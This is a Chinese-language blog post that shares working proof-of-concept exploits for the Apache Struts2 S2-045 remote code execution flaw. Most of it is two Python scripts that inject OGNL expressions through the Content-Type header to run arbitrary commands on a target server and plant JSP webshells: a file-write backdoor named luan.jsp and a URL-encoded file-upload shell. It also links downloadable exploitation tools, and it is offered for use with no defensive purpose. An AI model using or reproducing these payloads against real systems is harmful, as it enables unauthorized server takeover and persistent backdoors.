关于Apache Struts2(S2-045)漏洞POC

现在struts2 s2-045这个已经刚出两天,论坛里面还有一些民间大牛就已经给出poc了

 

K8最新利用工具 的链接: https://pan.baidu.com/s/1qYNLUKc 密码: x2td  (但是好像有点问题)

 

还有一个t00ls大神放的方法

import urllib 
import urllib2
import sys,getopt,ctypes
def exp(url,payload):
    try:
        opener = urllib2.build_opener()
        urllib2.install_opener(opener)
        req = urllib2.Request(url)
        req.add_header('Content-Type',payload)
        return opener.open(req, "").read()
    except urllib2.URLError,e:
        return "fail"
    return "fail"
class Color:
    std_out_handle = ctypes.windll.kernel32.GetStdHandle(-11)
    def print_(self, print_text):
        print print_text  
    def print_green_text(self, print_text):  
        self.set_cmd_color(0x02 | 0x08)  
        print print_text  
        self.reset_color()
    def print_red_text(self, print_text):  
        self.set_cmd_color(0x04 | 0x08)  
        print print_text  
        self.reset_color()
    def reset_color(self):  
        self.set_cmd_color(0x04 | 0x02 | 0x01)  
    def set_cmd_color(self, color, handle=std_out_handle):  
        bool = ctypes.windll.kernel32.SetConsoleTextAttribute(handle, color)  
        return bool  
jspCode = "By<%new java.io.FileOutputStream(request.getParameter(\\\"f\\\")).write(request.getParameter(\\\"c\\\").getBytes());%>Luan"
clr = Color()
clr.print_green_text("S2-045 Exploit //  QQ:207658885")
opts, args = getopt.getopt(sys.argv[1:], "u:c:p:")
url,cmd,path = "","",""
for op, value in opts:
    if op == '-u':
        url = value
    elif op == '-c':
        cmd = value
    elif op == '-p':
        path = value
if url == "":
    clr.print_red_text("Useage : exp.py -u url [-c cmd] [-p upfilePath]")
    sys.exit(0)
if cmd == "":
    clr.print_("upload webshell ...")
    if path == "":
        path = "#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest').getSession().getServletContext().getRealPath('/')"
    else:
        path = "'" + path + "'"
    payload = "%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#luan='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#path=" + path + ").(#shell='" + jspCode + "').(new java.io.BufferedWriter(new java.io.FileWriter(#path+'/luan.jsp').append(#shell)).close()).(#cmd='echo \\\"write file to '+#path+'/luan.jsp\\\"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
else:
    clr.print_("run " + cmd + " ...")
    payload = "%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#luan='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
result = exp(url,payload)
if result == "fail":
    clr.print_red_text("Exploit Fail")
else:
    clr.print_green_text(result)

默认上传的后门是写文件后门,访问/luan.jsp?f=luan.txt&c=666就可以写666到luan.txt中。

剩下的该怎么利用自己想办法

import urllib,urllib2,sys,getopt
def exp(url,payload):
    try:
        opener = urllib2.build_opener()
        urllib2.install_opener(opener)
        req = urllib2.Request(url)
        req.add_header('Content-Type',payload)
        print opener.open(req, "").read().decode("big5")
    except urllib2.URLError,e:
        print "Exploit Fail"
jspCode = "%3Cjsp%3AuseBean%20id%3D%22prop%22%20scope%3D%22page%22%20class%3D%22java.util.Properties%22%20%2f%3E%0A%3C%25@%20page%20import%3D%22java.io.%2a%2Cjava.util.%2a%2Cjavax.servlet.%2a%22%20%25%3E%0A%0A%3C%25%21%0Apublic%20String%20getBoundary%28HttpServletRequest%20request%2CProperties%20prop%29%20throws%20ServletException%2CIOException%7B%0A%20%20%20%20String%20boundary%20%3D%20null%3B%0A%20%20%20%20Enumeration%20enum_%20%3D%20request.getHeaderNames%28%29%3B%0A%20%20%20%20while%28enum_.hasMoreElements%28%29%29%7B%0A%20%20%20%20%20%20%20%20String%20header%20%3D%20%28String%29enum_.nextElement%28%29%3B%0A%20%20%20%20%20%20%20%20String%20hvalue%20%3D%20request.getHeader%28header%29%3B%0A%20%20%20%20%20%20%20%20prop.setProperty%28%28header%29.toLowerCase%28%29%2Chvalue%29%3B%0A%20%20%20%20%20%20%20%20if%28%22content-type%22.equalsIgnoreCase%28header%29%20%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20int%20idx%20%3D%20hvalue.lastIndexOf%28%22boundary%3D%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%28idx%20%21%3D%20-1%20%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20boundary%3D%20hvalue.substring%28idx%2b9%20%2C%20hvalue.length%28%29%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%20%20return%20boundary%3B%0A%7D%0A%0Apublic%20String%20getFileName%28String%20secondline%29%7B%0A%20%20%20%20int%20len%20%3D%20secondline.length%28%29%3B%0A%20%20%20%20int%20idx%20%3D%20secondline.lastIndexOf%28%22filename%3D%22%29%3B%0A%20%20%20%20if%28idx%20%3D%3D%20-1%20%29%20return%20null%3B%0A%20%20%20%20String%20filename%20%3D%20secondline.substring%28idx%2b10%20%2C%20len-1%29%3B%0A%20%20%20%20filename%20%3D%20filename.replace%28%27%5C%5C%27%2C%27%2f%27%29%3B%0A%20%20%20%20idx%20%3D%20filename.lastIndexOf%28%22%2f%22%29%3B%0A%20%20%20%20idx%20%3D%20idx%20%2b%201%3B%0A%20%20%20%20filename%20%3D%20filename.substring%28%20idx%20%29%3B%0A%20%20%20%20return%20filename%3B%0A%7D%0A%25%3E%0A%0A%3C%25%0Aint%20ROUGHSIZE%20%3D%20640000%3B%0Aint%20MAXSIZE%20%3D%2010%3B%20%2f%2f%2010%20Mega%20Byte%0AString%20boundary%20%3D%20getBoundary%28request%2Cprop%29%3B%0A%0Aif%28boundary%20%3D%3D%20null%20%29%7B%0A%20%20%20%20boundary%20%3D%20prop.getProperty%28%22boundary%22%29%3B%20%0A%7D%0Aelse%7B%0A%20%20%20%20boundary%20%3D%20%22--%22%2bboundary%3B%0A%7D%0Aif%28boundary%20%3D%3D%20null%20%29%7B%0A%20%20%20%20out.print%28%22%3Chtml%3E%3Cform%20name%3D%5C%22test%5C%22%20method%3D%5C%22post%5C%22%20enctype%3D%5C%22multipart%2fform-data%5C%22%3E%3Cb%3Efile%20uploader%3C%2fb%3E%3Cbr%3E%3Cinput%20type%3D%5C%22File%5C%22%20name%3D%5C%22file%5C%22%3E%3Cinput%20type%3D%5C%22Submit%5C%22%20value%3D%5C%22Upload%5C%22%20name%3D%5C%22Submit%5C%22%3E%3C%2fform%3E%3C%2fhtml%3E%22%29%3B%0A%20%20%20%20return%3B%0A%7D%0ALong%20contentsize%20%3D%20new%20Long%28prop.getProperty%28%22content-length%22%2C%220%22%29%29%3B%0Aint%20c%3B%0AStringWriter%20st%20%3D%20new%20StringWriter%28%29%3B%0Aif%28contentsize.longValue%28%29%20%3C%201L%20%29%7B%0A%20%20%20%20return%3B%0A%7D%20%0Along%20l%20%3D%20contentsize.longValue%28%29%20-%20ROUGHSIZE%3B%20%0Aint%20KB%20%3D%201024%3B%0Aint%20MB%20%3D%201024%20%2a%20KB%3B%0Aint%20csize%20%3D%20%28int%29%28l%20%2f%20MB%29%3B%0Aif%28csize%20%3E%20MAXSIZE%20%29%7B%0A%20%20%20%20return%3B%0A%7D%0AServletInputStream%20fin%20%3D%20%20request.getInputStream%28%29%3B%0Aint%20cn%3B%0Aint%20count%3D0%3B%0A%0Awhile%28%28c%3Dfin.read%28%29%29%20%21%3D%20-1%20%29%7B%0A%20%20%20%20if%28%20c%20%3D%3D%20%27%5Cr%27%29%20%0A%20%20%20%20%20%20%20%20break%3B%0A%20%20%20%20st.write%28c%29%3B%0A%20%20%20%20count%2b%2b%3B%0A%7D%0Ac%3Dfin.read%28%29%3B%0AString%20tboundary%20%3D%20st.getBuffer%28%29.toString%28%29%3B%0Atboundary%3Dtboundary.trim%28%29%3B%0A%0Aif%28%21%20tboundary.equalsIgnoreCase%28boundary%29%20%29%7B%0A%20%20%20%20return%3B%0A%7D%0Ast.close%28%29%3B%0Ast%20%3D%20null%3B%0Ast%20%3D%20new%20StringWriter%28%29%3B%0A%0Awhile%28%28c%3Dfin.read%28%29%29%20%21%3D%20-1%20%29%7B%0A%20%20%20%20if%28%20c%20%3D%3D%20%27%5Cr%27%20%29%20break%3B%0A%20%20%20%20st.write%28c%29%3B%0A%20%20%20%20%7D%0Ac%20%3D%20fin.read%28%29%3B%0A%0AString%20secondline%20%3D%20st.getBuffer%28%29.toString%28%29%3B%0AString%20filename%20%3D%20getFileName%28secondline%29%3B%0A%0Ast.close%28%29%3B%0Ast%20%3D%20null%3B%0Ast%20%3D%20new%20StringWriter%28%29%3B%0Awhile%28%28c%20%3D%20fin.read%28%29%29%20%21%3D%20-1%20%29%7B%0A%20%20%20%20if%28%20c%20%3D%3D%20%27%5Cr%27%20%29%20break%3B%0A%20%20%20%20%20%20%20%20st.write%28c%29%3B%0A%7D%0Ac%20%3D%20fin.read%28%29%3B%0A%0Afin.read%28%29%3B%20%0Afin.read%28%29%3B%20%20%0AFile%20newfile%20%3D%20null%3B%0AFileOutputStream%20fout%20%3Dnull%3B%20%0Atry%7B%0A%20%20%20%20newfile%20%3D%20new%20File%28application.getRealPath%28%22%2f%22%29%20%2b%20filename%29%3B%0A%20%20%20%20fout%20%3D%20new%20FileOutputStream%28%20newfile%20%29%3B%0A%7D%0Acatch%28Exception%20ex%29%7B%0A%20%20%20%20out.println%28ex.getMessage%28%29%29%3B%0A%20%20%20%20return%3B%0A%7D%0A%0Abyte%20b%5B%5D%20%3D%20null%3B%0Awhile%28l%20%3E%201024L%29%7B%0A%20%20%20%20b%20%3D%20new%20byte%5B1024%5D%3B%0A%20%20%20%20fin.read%28b%2C0%2C1024%29%3B%0A%20%20%20%20fout.write%28b%29%3B%0A%20%20%20%20b%3Dnull%3B%0A%20%20%20%20l%20-%3D%201024L%3B%0A%7D%0Aif%28l%20%3E%200%29%7B%0A%20%20%20%20b%20%3D%20new%20byte%5B%28int%29l%5D%3B%0A%20%20%20%20fin.read%28b%2C0%2C%28int%29l%29%3B%0A%20%20%20%20fout.write%28b%29%3B%0A%7D%0A%0A%0AByteArrayOutputStream%20baos%20%3D%20new%20ByteArrayOutputStream%28%29%3B%0Awhile%28%28c%20%3D%20fin.read%28%29%29%20%21%3D%20-1%29%7B%0A%20%20%20%20baos.write%28c%29%3B%0A%7D%0AString%20laststring%20%3D%20baos.toString%28%29%3B%0Aint%20idx%20%3D%20laststring.indexOf%28boundary%29%3B%0Ab%20%3D%20baos.toByteArray%28%29%3B%0Aif%28idx%20%3E%202%29%7B%0A%20%20%20%20fout.write%28b%2C0%2Cidx-2%29%3B%0A%7D%0Aelse%7B%0A%20%20%20%20fout.close%28%29%3B%0A%20%20%20%20newfile.delete%28%29%3B%0A%20%20%20%20return%3B%0A%7D%0Afout.flush%28%29%3B%0Afout.close%28%29%3B%0Afin.close%28%29%3B%0A%0Aout.println%28%22File%20uploaded%3A%20%22%20%2b%20newfile%29%3B%0A%25%3E%0A"
print "S2-045 Exploit // Code By iuin.in
opts, args = getopt.getopt(sys.argv[1:], "u:cp:sg",["url=","cmd","path=","shell","getpath"])
url,path,payload = "","",""
for op, value in opts:
    if op in ('-u','--url'):
        url = value
    elif op in ('-c','--cmd'):
        while 1:
            cmd = raw_input("[cmd]>>")
            payload = "%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#luan='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
            exp(url,payload)
    elif op in ('-p','--path'):
        path = "'" + value + "'"
    elif op in ('-s','--shell'):
        print "upload webshell ..."
        if path == "":
            path = "#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest').getSession().getServletContext().getRealPath('/')"
        payload = "%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#luan='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#path=" + path + ").(#shell='" + jspCode + "').(new java.io.BufferedWriter(new java.io.FileWriter(#path+'/luan.jsp').append(new java.net.URLDecoder().decode(#shell,'UTF-8'))).close()).(#cmd='echo shell:'+#path+'luan.jsp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        exp(url,payload)
        sys.exit(0)
    elif op in ('-g','--getpath'):
        print "get website path ..."
        payload = "%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#luan='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#path=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest').getSession().getServletContext().getRealPath('/')).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.write(#path.getBytes())).(#ros.flush())}"
        exp(url,payload)
        sys.exit(0)
print "Useage : exp.py -u url [-p path] [-c cmd] [-s shell] [-g getpath]"

经过多次改版之后的版本,功能也是越来越强大,具体https://www.t00ls.net/thread-38534-1-1.html

k8 大神更新最新版本的strut2转载

链接: http://pan.baidu.com/s/1slJawGX 密码: 1gy5

aimorc

我还没有学会写个人说明!

Leave a Reply

Your email address will not be published. Required fields are marked *

微信扫一扫,分享到朋友圈

关于Apache Struts2(S2-045)漏洞POC
返回顶部

显示

忘记密码?

显示

显示

获取验证码

Close